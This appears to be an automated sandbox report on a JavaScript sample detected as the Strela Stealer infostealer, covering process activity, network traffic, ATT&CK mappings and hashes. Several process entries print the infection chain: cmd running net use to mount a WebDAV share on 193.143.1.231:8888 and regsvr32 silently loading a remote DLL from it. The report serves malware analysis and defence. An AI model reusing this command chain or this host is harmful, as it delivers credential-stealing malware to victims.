Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_024FB690 push esp; iretd		11_2_024FB691

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49709

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\net.exe TID: 7100

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: net.exe, 00000005.00000002.2185942636.0000013018318000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: CreateThread,GetLocaleInfoA,

11_2_024B9A30

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Strela Stealer

Source: Yara match	File source: 11.2.regsvr32.exe.7ff8b7e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2271164628.00007FF8B7E10000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 3144, type: MEMORYSTR

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\140341625623863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior

Opens network shares

Source: C:\Windows\System32\regsvr32.exe	File opened: \\193.143.1.231@8888\davwwwroot\140341625623863.dll			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: \\193.143.1.231@8888\davwwwroot\140341625623863.dll			Jump to behavior

Remote Access Functionality

Yara detected Strela Stealer

Source: Yara match	File source: 11.2.regsvr32.exe.7ff8b7e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2271164628.00007FF8B7E10000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 3144, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	Windows Management Instrumentation	12 Scripting	11 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	2 Network Share Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Regsvr32	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	12 System Information Discovery	SSH	Keylogging	11 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
126484723232027823.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.231/bcf3ed6d7050e4	0%	Avira URL Cloud	safe
http://193.143.1.231/dI	0%	Avira URL Cloud	safe
http://193.143.1.231/	0%	Avira URL Cloud	safe
http://193.143.1.231/0I	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.231/dI	net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231/bcf3ed6d7050e4	net.exe, 00000005.00000002.2185942636.00000130183A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231/0I	net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231/	net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/	net.exe, 00000005.00000002.2185942636.0000013018368000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2185942636.0000013018382000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.231	unknown	unknown		57271	BITWEB-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576785
Start date and time:	2024-12-17 15:10:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	126484723232027823.js
Detection:	MAL
Classification:	mal88.rans.troj.spyw.evad.winJS@12/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 71% Number of executed functions: 3 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 126484723232027823.js

Simulations

Behavior and APIs

Time	Type	Description
09:11:02	API Interceptor	1x Sleep call for process: net.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	qL619hzCfc.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	https://cgd-assinar.com	Get hash	malicious	Unknown	Browse	193.143.1.14
	11iEly4m6C.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	YnViC5yHLu.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	https://cmd-autenticacaogov.com/	Get hash	malicious	Unknown	Browse	193.143.1.14
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.70

File type:	ASCII text, with very long lines (11695), with no line terminators
Entropy (8bit):	4.75000181394305
TrID:
File name:	126484723232027823.js
File size:	11'695 bytes
MD5:	09024cb4c452f96fe5b6045e198092ba
SHA1:	53f924039e79576a5b2e9b90e3c11c1116e933eb
SHA256:	0ff304716b215d4fadbf9fee1be5d717c454a09f6bdbe6e42e29995d969964e8
SHA512:	5e0146dc0e358a0a78964abceb2cf735fd1c7d9e0efaae05a0ad39d441c5329a88f0ff28ce5a6171690963398eb4884219db77e66316348b38f2a979dcb4b494
SSDEEP:	192:JxTxIOSN8HHdiTp9JRSSZxSSGSSZxSSf1OSSB5SS3uVX+++QZPP/RvOSSZxSS5nK:P1y1uVIuuVOhpD
TLSH:	6832BF9DB6E4F44818FE9100336291106DA6747E7F32CB2DB3EE998866443F59ED703A
File Content Preview:	function ftewq(){this[hfgkhke+iqkshjqkp+conprmvk+mwncmi](gebyyu+eoztg+jqskgadc+jvaxx+xqqrniwzz+zxqbq+qtwic+cblmmvh+cblmmvh+iqkshjqkp+acrinokm+qtwic+gebyyu+conprmvk+djwmv+ktqhqp+djwmv+woscoo+acrinokm+gbeabu+cblmmvh+oindqeulx+zxqbq+jvaxx+ktqhqp+qxdyfx+jqskg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 15:11:02.211962938 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:02.332076073 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:02.332195997 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:02.332396984 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:02.451977968 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:03.779273987 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:03.820857048 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:07.063460112 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:07.183239937 CET	8888	49705	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:07.183357000 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:07.183607101 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:07.303334951 CET	8888	49705	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:08.594680071 CET	8888	49705	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:08.648992062 CET	49705	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:08.746246099 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:08.865962029 CET	8888	49706	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:08.866081953 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:08.866297960 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:08.985980988 CET	8888	49706	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:10.288436890 CET	8888	49706	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:10.301013947 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:10.336456060 CET	49706	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:10.420839071 CET	8888	49707	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:10.421030045 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:10.421256065 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:10.540878057 CET	8888	49707	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:11.848124981 CET	8888	49707	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:11.895764112 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:11.899044991 CET	49707	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:11.978322983 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:12.098644018 CET	8888	49708	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:12.098759890 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:12.098902941 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:12.218466043 CET	8888	49708	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:13.516463041 CET	8888	49708	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:13.520878077 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:13.570925951 CET	49708	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:13.640739918 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:13.640858889 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:13.641015053 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:13.760725021 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.072145939 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.074902058 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.074922085 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.075037003 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.086370945 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.086390018 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.086463928 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.099102020 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.099122047 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.099184036 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.111793995 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.111814022 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.111884117 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.124532938 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.180293083 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.218578100 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.231935978 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.232074976 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.264075994 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.291497946 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.291605949 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.338080883 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.351447105 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.351562977 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.410964012 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.410985947 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.410998106 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.411086082 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.470928907 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.470949888 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.471143007 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.477289915 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.477307081 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.477374077 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.490029097 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.490047932 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.490160942 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.502736092 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.502753019 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.502763987 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.502830029 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.515563011 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.515580893 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.515675068 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.528162003 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.528182030 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.528247118 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.540970087 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.541033983 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.541194916 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.553602934 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.553641081 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.553675890 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.553685904 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.553725958 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.566267014 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.566304922 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.566382885 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.580423117 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.580460072 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.580495119 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.580663919 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.591954947 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.591989994 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.592031002 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.604746103 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.604820967 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.608196020 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.608230114 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.608289003 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.619597912 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.619635105 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.619703054 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.631165981 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.631203890 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.631254911 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.642529011 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.642581940 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.642662048 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.654021025 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.654068947 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.654141903 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.666656017 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.666703939 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.666779041 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.676817894 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.676865101 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.676940918 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.688421965 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.688472033 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.688535929 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.699711084 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.705761909 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.705811024 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.705818892 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.717216015 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.717262983 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.717283010 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.729928970 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.729980946 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.729986906 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.740099907 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.740164995 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.740173101 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.753079891 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.753118038 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.753170967 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.764992952 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.765038013 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.765058041 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.776937008 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.776957989 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.777017117 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.789092064 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.789139032 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.789165020 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.789170980 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.789232016 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.801170111 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.801208973 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.801265955 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.813159943 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.813226938 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.813277006 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.825174093 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.825229883 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.825278997 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.837229967 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.837277889 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.837313890 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.837337971 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.849147081 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.849205971 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.849240065 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.860951900 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.861006975 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.861015081 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.872701883 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.872757912 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.872800112 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.884362936 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.884414911 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.884435892 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.895843983 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.895883083 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.895904064 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.895916939 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.895966053 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.907375097 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.907413006 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:11:15.907463074 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:11:15.918890953 CET	8888	49709	193.143.1.231	192.168.2.5
